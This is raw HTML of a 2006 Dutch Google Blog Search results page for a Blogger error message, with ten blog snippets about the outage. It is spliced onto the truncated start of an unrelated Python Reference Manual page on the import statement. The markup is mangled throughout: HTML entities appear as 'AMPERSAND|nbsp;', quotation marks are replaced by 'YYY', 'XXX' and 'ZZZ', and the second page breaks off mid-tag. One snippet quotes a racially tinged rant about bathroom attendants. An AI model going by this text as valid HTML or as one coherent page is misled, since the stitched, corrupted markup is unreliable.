href="http://www.google.com/search?hl=nlAMPERSANDq=+We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDamp%3Blr=AMPERSANDsa=NAMPERSANDtab=bw" onclick="return qs(this)">Het Internet</a>AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;<a class=q href="http://images.google.com/images?hl=nlAMPERSANDq=+We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDamp%3Blr=AMPERSANDsa=NAMPERSANDtab=bi" onclick="return qs(this)">Afbeeldingen</a>AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;<a class=q href="http://groups.google.com/groups?hl=nlAMPERSANDq=+We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDamp%3Blr=AMPERSANDsa=NAMPERSANDtab=bg" onclick="return qs(this)">Discussiegroepen</a>AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;<a class=q href="http://news.google.com/news?hl=nlAMPERSANDq=+We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDamp%3Blr=AMPERSANDsa=NAMPERSANDtab=bn" onclick="return qs(this)">Nieuws</a>AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;<b><a href="http://www.google.com/intl/nl/options/" class=q>meerAMPERSAND|nbsp;AMPERSANDraquo;</a></b></font></td></tr></table></td></tr><form name=gs action=http://blogsearch.google.com/blogsearch><tr><td rowspan="2"><td align="center"><input type=hidden id="hl" name="hl" value="nl"><input type=hidden name="amp;lr" value="" /><input type=hidden name="ie" value="UTF-8" /><input maxLength=256 size="50" id=q name=q value="WeAMPERSAND#39;re sorry, but we were unable to complete your request."><br><input type="submit" value="Zoeken in blogs" name=btnG />AMPERSAND|nbsp;<input type="submit" value="Het web doorzoeken" name=btnW /></td><td nowrap align="left" valign="top" width="185px" style="font-size:70%;"><font size=-2>AMPERSAND|nbsp;AMPERSAND|nbsp;<a href="http://blogsearch.google.com/blogsearch/advanced_blog_search?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8">Geavanceerd zoeken in blogs</a><br>AMPERSAND|nbsp;AMPERSAND|nbsp;<a href="http://www.google.com/preferences?hl=nl">Voorkeuren</a></font></td></tr><tr><td align="center"><font size=-1>Zoeken:<input type="radio" id="radio_all" name="lr"value="" checked><label for="radio_all">Alle blogs</label><input type="radio" id="lr" name="lr"value="lang_nl" ><label for="lr">Blogs in het Nederlands</label></font></td></td></tr></form></tbody></table></td></tr></tbody></table><table cellpadding=0 cellspacing=0 border=0><tr><td><font size=-1></font></td></tr><tr><td height=7><img width=1 height=1 alt=""></td></tr></table><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td bgcolor="#ff9e21"><img alt="" height="1" width="1"></td></tr></tbody></table><table bgcolor="#f8dfa8" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td bgcolor="#f8dfa8" nowrap="nowrap"><font size="+1">AMPERSAND|nbsp;<b>Zoeken in blogs</b></font></td><td align="right" bgcolor="#f8dfa8" nowrap="nowrap"><font color="" size="-1">Resultaten 1-10 van ongeveer 1,686 voor '<b>We-re sorry but we were unable to complete your request</b>'AMPERSAND|nbsp;(<b>0.11</b> seconden)AMPERSAND|nbsp;</font></td></tr></tbody></table><div style="margin-top: .5em; padding-bottom: 1em; width:135px;float: left; border-right: #ccc solid 1px;"><script language="javascript" type="text/javascript">function toggleToAdvanced() {document.getElementById("Advanced").style.display = '';document.getElementById("noAdvanced").style.display = 'none';}function toggleFromAdvanced() {document.getElementById("noAdvanced").style.display = '';document.getElementById("Advanced").style.display = 'none';}</script><div style="padding-bottom: 1px; padding-top: 1px; margin-bottom: .3em;background-color: #eee;"><font color="#000000" size="-1">Gepubliceerd</font></div><font size="-1"><div><img src="/blogsearch/images/arrow-blank.gif"><a href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDas_drrb=qAMPERSANDas_qdr=h">Afgelopen uur</a></div><div><img src="/blogsearch/images/arrow-blank.gif"><a href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDas_drrb=qAMPERSANDas_qdr=t">Afgelopen 12 uur</a></div><div><img src="/blogsearch/images/arrow-blank.gif"><a href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDas_drrb=qAMPERSANDas_qdr=d">Afgelopen dag</a></div><div><img src="/blogsearch/images/arrow-blank.gif"><a href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDas_drrb=qAMPERSANDas_qdr=w">Afgelopen week</a></div><div><img src="/blogsearch/images/arrow-blank.gif"><a href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We're+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDas_drrb=qAMPERSANDas_qdr=m">Afgelopen maand</a></div><div><img src="/blogsearch/images/arrow.gif">Geen beperking</div><div style="padding-bottom:3px;"></div></font><script language="javascript" type="text/javascript">document.write('<div id=noAdvanced style=" padding-left: 8px;"><font size="-1"><a href="javascript:toggleToAdvanced();">Datums kiezen</a></font></div><div id=Advanced style="display:none; padding-left: 8px;"><font size="-1">Datums kiezen [<a href="javascript:toggleFromAdvanced();">Verbergen</a>]</font><form name="daterange" id="daterange" style="padding-left: .7em;padding-top: 5px;" action="http://blogsearch.google.com/blogsearch"onsubmit="ddcal1.formatDateInput(1); ddcal2.formatDateInput(2);"><input type=hidden name=hl value="nl" /><input type=hidden name=amp;lr value="" /><input type=hidden name=q value="WeAMPERSAND#39;re sorry, but we were unable to complete your request." /><input type=hidden name=ie value="UTF-8" /><input type=hidden id="as_maxm" name="as_maxm" value=""/><input type=hidden id="as_miny" name="as_miny" value=""/><input type=hidden id="as_maxy" name="as_maxy" value=""/><input type=hidden id="as_minm" name="as_minm" value=""/><input type=hidden id="as_mind" name="as_mind" value=""/><input type=hidden id="as_maxd" name="as_maxd" value=""/><input type=hidden id="as_drrb" name="as_drrb" value="b"><input type=hidden id="ctz" name="ctz" value=""><font size="2" color="#333333">Begin<br><input size="10" maxLength=10 border="1" style="border: 1px solid #999;font-size: 100%;" autocomplete="off" id="c1cr" name="c1cr"onfocus="ddcal2.close(2); ddcal1.open(1); return true;"onblur="ddcal1.checkAndClose(event, 1); return true;"></font><div style="padding-top: 5px;"></div><font size="2" color="#333333">Einde (optioneel)<input size="10" maxLength=10 border="1" style="border: 1px solid #999;font-size: 100%;" autocomplete="off" id="c2cr" name="c2cr"onfocus="ddcal1.close(1); ddcal2.open(2); return true;"onblur="ddcal2.checkAndClose(event, 2); return true;"></font><div style="padding-top: 5px;"><input type="submit" name="btnD"style="border: 1px solid #999; font-size: 80%"value="OK"></div></form></div>');document.getElementById("ctz").value = new Date().getTimezoneOffset();var monthArray = new Array("jan", "feb", "maart","april", "mei", "juni","juli", "aug", "sept","okt", "nov", "dec");var dowArray = new Array("Z", "M","D", "W","D", "V","Z");var dateDelim = "-";var ymdPermutation = "dmy";var ddcal1 = new _CalendarPopup(monthArray, dowArray,dateDelim, ymdPermutation);var ddcal2 = new _CalendarPopup(monthArray, dowArray,dateDelim, ymdPermutation);ddcal1.setInitialCalendarSettings(1);ddcal2.setInitialCalendarSettings(2);</script><noscript></noscript><link href="/blogsearch/blogsearch_cal.css" type="text/css" rel="stylesheet"><div id="ddcal1_pop" style="display:none;" class="ddcal_pop"onmousedown="ddcal1.cBoxMouseDownHandler();"onclick="ddcal1.handleClick(-1, 1);"onmouseup="ddcal1.cBoxMouseUpHandler();"><table cellpadding="0" cellspacing="0" border="0"><tr><td name="" valign="top"><table cellpadding="0" cellspacing="0" border="0"align="center" width="100%" id="ddcal1_yr"><tr><td name="" onclick="ddcal1.toggleYearMonth(-1, 1);"><img src="/blogsearch/images/left_arrow.gif" width="6" height="11"border="0" hspace="5" id="ddcal1_larrow" class="ulink"></td><td class="ddcalp_year" nowrap="nowrap" id="ddcal1_yearmonth"></td><td onclick="ddcal1.toggleYearMonth(1, 1);"><img src="/blogsearch/images/right_arrow.gif" width="6" height="11"border="0" hspace="5" id="ddcal1_rarrow" class="ulink"></td></tr></table><table cellpadding="2" cellspacing="0" border="0" width="100%"><script language="javascript" type="text/javascript">document.write('<tr id="ddcal1_dow">');for (var i = 1; i <= 7; i++) {document.write('<td id="ddcal1_dow_' + i + '" ');document.write('class="ddcalp_day"></td>');}document.write('</tr>');for (var i = 1; i <= 6; i++) {document.write('<tr id="ddcal1_week_' + i + '">');for (var j = 1; j <= 7; j++) {var curr_day = 7 * (i - 1) + j;document.write('<td id="ddcal1_day_' + curr_day + '" ');document.write('class="ddcalp_day" ');document.write('onclick="ddcal1.handleClick(' + curr_day + ', 1);">');document.write('</td>');}document.write('</tr>');}</script></table></td></tr></table></div><div id="ddcal2_pop" style="display:none;" class="ddcal_pop"onmousedown="ddcal2.cBoxMouseDownHandler();"onclick="ddcal2.handleClick(-1, 2);"onmouseup="ddcal2.cBoxMouseUpHandler();"><table cellpadding="0" cellspacing="0" border="0"><tr><td valign="top"><table cellpadding="1" cellspacing="0" border="0"align="center" width="100%" id="ddcal2_yr"><tr><td onclick="ddcal2.toggleYearMonth(-1, 2);"><img src="/blogsearch/images/left_arrow.gif" width="6" height="11"border="0" hspace="5" id="ddcal2_larrow" class="ulink"></td><td class="ddcalp_year" nowrap="nowrap" id="ddcal2_yearmonth"></td><td align="right" onclick="ddcal2.toggleYearMonth(1, 2);"><img src="/blogsearch/images/right_arrow.gif" width="6" height="11"border="0" hspace="5" id="ddcal2_rarrow" class="ulink"></td></tr></table><table cellpadding="2" cellspacing="0" border="0" width="100%"><script language="javascript" type="text/javascript">document.write('<tr id="ddcal2_dow">');for (var i = 1; i <= 7; i++) {document.write('<td id="ddcal2_dow_' + i + '" ');document.write('class="ddcalp_day"></td>');}document.write('</tr>');for (var i = 1; i <= 6; i++) {document.write('<tr id="ddcal2_week_' + i + '">');for (var j = 1; j <= 7; j++) {var curr_day = 7 * (i - 1) + j;document.write('<td id="ddcal2_day_' + curr_day + '" ');document.write('class="ddcalp_day" ');document.write('onclick="ddcal2.handleClick(' + curr_day + ', 2);">');document.write('</td>');}document.write('</tr>');}</script></table></td></tr></table></div><p><br><div style="background-color: #eeeeee; margin-top:1.5em; margin-bottom: .3em;padding-top:1px; padding-bottom: 1px; text-align:left;"><font color="#000000" size="-1">Abonneren:</font></div><div style="padding-left:7px"><font color=#333333 size="-1"><div style="padding-bottom:12px;"><a href="http://blogsearch.google.com/blogsearch_feeds?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=utf-8AMPERSANDnum=10AMPERSANDoutput=atom">Atom</a>AMPERSAND|nbsp;|AMPERSAND|nbsp;<a href="http://blogsearch.google.com/blogsearch_feeds?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=utf-8AMPERSANDnum=10AMPERSANDoutput=rss">RSS</a></div></font></div></div><div style="margin-left:145px"><table border="0"><tbody><tr><td width="50%">AMPERSAND|nbsp;</td><td width="1">AMPERSAND|nbsp;</td><td width="50%"><div align="right"><font size="-1"><b>Gesorteerd op relevantie</b>AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;AMPERSAND|nbsp;<a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDscoring=d>Sorteren op datum</a></font></div></td></tr></tbody></table><a href="http://www.mitadmissions.org/topics/qanda/questions_and_answers/answers_to_your_questions_dec.shtml" id="p-1">Answers To <b>Your</b> Questions Dec 2006</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">20 dec 2006 </font><font color="#555555" size="-1">door Ben Jones AMPERSAND|nbsp;</font><br><font size="-1">My advice would be to send an email to auditions@mit.edu and <b>request</b> confirmation. <br><b>...</b> <b>We</b>AMPERSAND#39;ll certainly see <b>your</b> 760 and be impressed, <b>but</b> the writing score is not <br><b>...</b> <b>We</b> donAMPERSAND#39;t begin reading an application until <b>weAMPERSAND#39;re</b> sure <b>weAMPERSAND#39;re</b> familiar <b>...</b><br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://www.mitadmissions.org/" id="pb-1" title="http://www.mitadmissions.org/">MIT Admissions - http://www.mitadmissions.org/</a> - <a class="fl" href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDie=UTF-8AMPERSANDq=link%3Ahttp://www.mitadmissions.org/topics/qanda/questions_and_answers/answers_to_your_questions_dec.shtml">Koppelingen</a></font></td></tr></table><p class="g"></p><a href="http://stokesbirdingblog.blogspot.com/2006/12/blogger-photo-upload.html" id="p-2">Blogger photo upload</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">6 dec 2006 </font><font color="#555555" size="-1">door Lillian and Don Stokes AMPERSAND|nbsp;</font><br><font size="-1"><b>WeAMPERSAND#39;re sorry</b>, <b>but we were unable to complete your request</b>. It appears you can <br>upload text, <b>but</b> the photo upload probem is something the folks at blogger will <br>need to fix. When they do, <b>we</b> will have a photo for you. Today <b>we were</b> going to <b>...</b><br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://stokesbirdingblog.blogspot.com/index.html" id="pb-2" title="http://stokesbirdingblog.blogspot.com/index.html">STOKES BIRDING BLOG - http://stokesbirdingblog.blogspot.com/index.html</a></font></td></tr></table><p class="g"></p><a href="http://ninainnorway.blogspot.com/2006/12/december-21.html" id="p-3">December 21. Handmade Christmas Ornament swap Thes...</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">21 dec 2006 </font><font color="#555555" size="-1">door Nina In Norway AMPERSAND|nbsp;</font><br><font size="-1">I love swapping. And there will be more to come! I have got two Crazy Quilt YYYSistersXXX <br>for 2007. Grrrr. Blogger say: <b>WeAMPERSAND#39;re sorry</b>, <b>but we were unable to complete your</b> <br><b>request</b>. Therefore no pictures at the moment. <b>Sorry</b>.<br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://ninainnorway.blogspot.com/index.html" id="pb-3" title="http://ninainnorway.blogspot.com/index.html">Geen titel - http://ninainnorway.blogspot.com/index.html</a></font></td></tr></table><p class="g"></p><a href="http://pixnprose.blogspot.com/2006/12/were-sorry-but-we-were-unable-to.html" id="p-4">AMPERSANDquot;<b>WeAMPERSAND#39;re sorry but we were unable to complete your request</b>AMPERSANDquot;</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">5 dec 2006 </font><font color="#555555" size="-1">door Jane AMPERSAND|nbsp;</font><br><font size="-1">ThatAMPERSAND#39;s the message IAMPERSAND#39;m getting from Blogger this evening. If I was actually paying <br>for this service, I might have the right to be annoyed. As it is, thereAMPERSAND#39;s not <br>much I can do. My hands are tied. Clearly itAMPERSAND#39;s time for another episode of <b>...</b><br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://pixnprose.blogspot.com/index.html" id="pb-4" title="http://pixnprose.blogspot.com/index.html">Pix AMPERSAND#39;n Prose - http://pixnprose.blogspot.com/index.html</a></font></td></tr></table><p class="g"></p><a href="http://knownissues.blogspot.com/2006/09/some-users-see-were-sorry-but-were.html" id="p-5">Some users see YYY<b>We</b>'re <b>sorry but we</b>'re <b>unable</b> to co...</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">7 sept 2006 </font><font color="#555555" size="-1">door Pete AMPERSAND|nbsp;</font><br><font size="-1">Some users see YYY<b>We</b>'re <b>sorry but we</b>'re <b>unable to complete your request</b>XXX errors. <br>These occasionally occur on blogs or on settings pages, and have various causes. <br><b>We</b>'re working on fixing the related problems, <b>but</b> if you want to provide us <b>...</b><br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://knownissues.blogspot.com/index.html" id="pb-5" title="http://knownissues.blogspot.com/index.html">Known Issues for Blogger in Beta - http://knownissues.blogspot.com/index.html</a></font></td></tr></table><p class="g"></p><a href="http://madamearcati.blogspot.com/2006/12/christmas-fiction-sance-with-queen.html" id="p-6">Christmas fiction: A SZZZance with Queen Elizabeth I</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">21 uur geleden </font><font color="#555555" size="-1">door Arcati AMPERSAND|nbsp;</font><br><font size="-1">AMPERSANDquot;Earth was invaded at three minutes past three on June 4, and <b>we were</b> <b>...</b> In a <br>fluster, <b>unable</b> to think, Gabrielle asked: AMPERSANDquot;HowAMPERSAND#39;s <b>your</b> mother?AMPERSANDquot; <b>...</b> The press <br>secretaryAMPERSAND#39;s unsought victory was <b>complete</b> when a day later The Chiswick Argus <b>...</b><br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://madamearcati.blogspot.com/index.html" id="pb-6" title="http://madamearcati.blogspot.com/index.html">Geen titel - http://madamearcati.blogspot.com/index.html</a> - <a class="fl" href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDie=UTF-8AMPERSANDq=link%3Ahttp://madamearcati.blogspot.com/2006/12/christmas-fiction-sance-with-queen.html">Koppelingen</a></font></td></tr></table><p class="g"></p><a href="http://videoarchivebydanielthompson.blogspot.com/2006/11/video-archive-recovering-from-technical.html" id="p-7">Video Archive Recovering from Technical Difficulties</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">21 nov 2006 </font><font color="#555555" size="-1">door Daniel Thompson AMPERSAND|nbsp;</font><br><font size="-1">If you tried to view this blog in the last couple of days, you likely got the <br>message, AMPERSANDquot;<b>WeAMPERSAND#39;re sorry</b>, <b>but we were unable to complete your request</b>.AMPERSANDquot; There seems <br>to be a problem with the new Blogger Beta software. <b>...</b><br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://videoarchivebydanielthompson.blogspot.com/index.html" id="pb-7" title="http://videoarchivebydanielthompson.blogspot.com/index.html">Video Archive by Daniel Thompson - http://videoarchivebydanielthompson.blogspot.com/index.html</a></font></td></tr></table><p class="g"></p><a href="http://mamabears.blogspot.com/2006/11/hmmmm-i-dont-get-it-on-my-test-blog_12.html" id="p-8">Oh for pitty sake!</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">12 nov 2006 </font><font color="#555555" size="-1">door Jennifer AMPERSAND|nbsp;</font><br><font size="-1"><b>BUT</b> and thatAMPERSAND#39;s a big <b>BUT</b>.... When I press publish I get <b>WeAMPERSAND#39;re sorry</b>, <b>but we were</b> <br><b>unable to complete your request</b>. yet it publishes anyway. I also get that message <br>when I delete a post. And IAMPERSAND#39;m guessing any time I want to AMPERSANDquot;publishAMPERSANDquot; <b>...</b><br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://mamabears.blogspot.com/index.html" id="pb-8" title="http://mamabears.blogspot.com/index.html">JenniferAMPERSAND#39;s World - http://mamabears.blogspot.com/index.html</a></font></td></tr></table><p class="g"></p><a href="http://myrantblog.blogspot.com/2006/11/disturbing-trend-in-local-bars-and.html" id="p-9">A Disturbing Trend In Local Bars and Other Random ...</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">11 nov 2006 </font><font color="#555555" size="-1">door AnonymousBlogger AMPERSAND|nbsp;</font><br><font size="-1">There <b>were</b> two black guys in the bathroom dispensing soap and paper towels. <b>...</b> <br><b>But</b> it just seems kind of degrading to have black guys working in there all night. <br><b>...</b> <b>WeAMPERSAND#39;re sorry</b>, <b>but we were unable to complete your request</b>.<br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://myrantblog.blogspot.com/index.html" id="pb-9" title="http://myrantblog.blogspot.com/index.html">Random Rants From A Random Mind - http://myrantblog.blogspot.com/index.html</a></font></td></tr></table><p class="g"></p><a href="http://bloggerstatusforreal.blogspot.com/2006/11/improvement-in-problem-resolution.html" id="p-10">An Improvement In Problem Resolution?</a><table border="0" cellpadding="0" cellspacing="0"><tr><td class="j"><font color="#555555" size="-1">4 nov 2006 </font><font color="#555555" size="-1">door Chuck AMPERSAND|nbsp;</font><br><font size="-1">(Edit 11/4 16:30): Interesting. Was this problem (12 hours of hell) related to <br>an oldie. <b>WeAMPERSAND#39;re sorry</b>, <b>but we were unable to complete your request</b>. or did they <br>fix 2 problems in one day? Now <b>we</b> have a real mystery.<br></font><font size="-1"><a class="f1" style="color: #008000;" href="http://bloggerstatusforreal.blogspot.com" id="pb-10" title="http://bloggerstatusforreal.blogspot.com">The Real Blogger Status - http://bloggerstatusforreal.blogspot.com</a><br>[ <a class="fl" href="http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.+blogurl:http://bloggerstatusforreal.blogspot.com/AMPERSANDie=UTF-8">Meer resultaten van The Real Blogger Status</a> ]</font></td></tr></table><p class="g"></p></div><br><div id=navbar class=n><table border=0 cellpadding=0 width=1% cellspacing=0 align=center><tr align=center valign=top><td valign=bottom nowrap><font size=-1>Resultaatpagina:AMPERSAND|nbsp;</font><td nowrap><img src=nav_first.gif width=18 height=26 alt=""><br><td nowrap><img src=nav_current.gif width=16 height=26 alt=""><br><span class=i>1</span><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=10><img src=nav_page.gif width=16 height=26 alt="" border=0><br>2</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=20><img src=nav_page.gif width=16 height=26 alt="" border=0><br>3</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=30><img src=nav_page.gif width=16 height=26 alt="" border=0><br>4</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=40><img src=nav_page.gif width=16 height=26 alt="" border=0><br>5</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=50><img src=nav_page.gif width=16 height=26 alt="" border=0><br>6</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=60><img src=nav_page.gif width=16 height=26 alt="" border=0><br>7</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=70><img src=nav_page.gif width=16 height=26 alt="" border=0><br>8</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=80><img src=nav_page.gif width=16 height=26 alt="" border=0><br>9</a><td nowrap><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=90><img src=nav_page.gif width=16 height=26 alt="" border=0><br>10</a><td nowrap class=b><a href=http://blogsearch.google.com/blogsearch?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=UTF-8AMPERSANDsa=NAMPERSANDstart=10><img src=nav_next.gif width=100 height=26 alt="" border=0><br><b>Volgende</b></a></table></div><center><br clear="all"><br><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td bgcolor="#ff9e21"><img alt="" height="1" width="1"></td></tr><tr><td align="center" bgcolor="#f8dfa8">AMPERSAND|nbsp;<br><table align="center" border="0" cellpadding="0" cellspacing="0"><tbody><tr><form method="get" action=http://blogsearch.google.com/blogsearch name=f><td nowrap="nowrap"> <font size="-1"><input type=hidden id="hl" name="hl" value="nl"><input maxLength=256 size=31 name=q value="WeAMPERSAND#39;re sorry, but we were unable to complete your request.">AMPERSAND|nbsp;<input type=submit value="Zoeken in blogs" name=btnG></td></form></tr></tbody></table><br></td></tr><tr><td bgcolor="#ff9e21"><img alt="" height="1" width="1"></td></tr></tbody></table></center><p></p><center><table border="0" cellpadding="2" cellspacing="0" width="100%"><tbody><tr><td align="center"><font size="-1"><a href="http://www.google.com/webhp?hl=nl">GoogleAMPERSAND|nbsp;Startpagina</a> - <a href="http://www.google.com/intl/nl/help/about_blogsearch.html">Over Google Zoeken in blogs</a></font></td></tr></tbody></table><br><font size="-2">AMPERSAND|copy;2006 Google</font></center></body></html>
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-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><link rel="STYLESHEET" href="ref.css" type='text/css' /><link rel="SHORTCUT ICON" href="../icons/pyfav.png" type="image/png" /><link rel='start' href='../index.html' title='Python documentation Index' /><link rel="first" href="ref.html" title='Python reference Manual' /><link rel='contents' href='contents.html' title="Contents" /><link rel='index' href='genindex.html' title='Index' /><link rel='last' href='about.html' title='About this document...' /><link rel='help' href='about.html' title='About this document...' /><link rel="next" href="global.html" /><link rel="prev" href="continue.html" /><link rel="parent" href="simple.html" /><link rel="next" href="future.html" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name='aesop' content='information' /><title>6.12 The import statement </title></head><body><div class="navigation"><div id='top-navigation-panel' xml:id='top-navigation-panel'><table align="center" width="100%" cellpadding="0" cellspacing="2"><tr><td class='online-navigation'><a rel="prev" title="6.11 the continue statement"  href="continue.html"><img src='../icons/previous.png'  border='0' height='32'  alt='Previous Page' width='32' /></a></td><td class='online-navigation'><a rel="parent" title="6. simple statements"  href="simple.html"><img src='../icons/up.png'  border='0' height='32'  alt='Up one Level' width='32' /></a></td><td class='online-navigation'><a rel="next" title="6.12.1 future statements"  href="future.html"><img src='../icons/next.png'  border='0' height='32'  alt='Next Page' width='32' /></a></td><td align="center" width="100%">Python Reference Manual</td><td class='online-navigation'><a rel="contents" title="Table of Contents"  href="contents.html"><img src='../icons/contents.png'  border='0' height='32'  alt='Contents' width='32' /></a></td><td class='online-navigation'><img src='../icons/blank.png'  border='0' height='32'  alt='' width='32' /></td><td class='online-navigation'><a rel="index" title="Index"  href="genindex.html"><img src='../icons/index.png'  border='0' height='32'  alt='Index' width='32' /></a></td></tr></table><div class='online-navigation'><b class="navlabel">Previous:</b><a class="sectref" rel="prev" href="continue.html">6.11 The continue statement</a><b class="navlabel">Up:</b><a class="sectref" rel="parent" href="simple.html">6. Simple statements</a><b class="navlabel">Next:</b><a class="sectref" rel="next" href="future.html">6.12.1 Future statements</a></div><hr /></div></div><!--End of Navigation Panel--><h1><a name="SECTION0081200000000000000000"></a><a name="import"></a><br>6.12 The <tt class="keyword">import</tt> statement </h1><a id='l2h-535' xml:id='l2h-535'></a><a id='l2h-556' xml:id='l2h-556'></a><a id='l2h-536' xml:id='l2h-536'></a><a id='l2h-537' xml:id='l2h-537'></a><p><dl><dd class="grammar"><div class="productions"><table><tr>    <td><a id='tok-import_stmt' xml:id='tok-import_stmt'>import_stmt</a></td>    <td>::=</td>    <td>"import" <a class='grammartoken' href="import.html#tok-module">module</a> ["as" <a class='grammartoken' href="notation.html#tok-name">name</a>]                ( "," <a class='grammartoken' href="import.html#tok-module">module</a> ["as" <a class='grammartoken' href="notation.html#tok-name">name</a>] )*</td></tr>  <tr>    <td></td>    <td></td>    <td><code>| "from" <a class='grammartoken' href="import.html#tok-module">module</a> "import" <a class='grammartoken' href="identifiers.html#tok-identifier">identifier</a>                    ["as" <a class='grammartoken' href="notation.html#tok-name">name</a>]</code></td></tr>  <tr>    <td></td>    <td></td>    <td><code>( "," <a class='grammartoken' href="identifiers.html#tok-identifier">identifier</a> ["as" <a class='grammartoken' href="notation.html#tok-name">name</a>] )*</code></td></tr>  <tr>    <td></td>    <td></td>    <td><code>| "from" <a class='grammartoken' href="import.html#tok-module">module</a> "import" "(" <a class='grammartoken' href="identifiers.html#tok-identifier">identifier</a>                    ["as" <a class='grammartoken' href="notation.html#tok-name">name</a>]</code></td></tr>  <tr>    <td></td>    <td></td>    <td><code>( "," <a class='grammartoken' href="identifiers.html#tok-identifier">identifier</a> ["as" <a 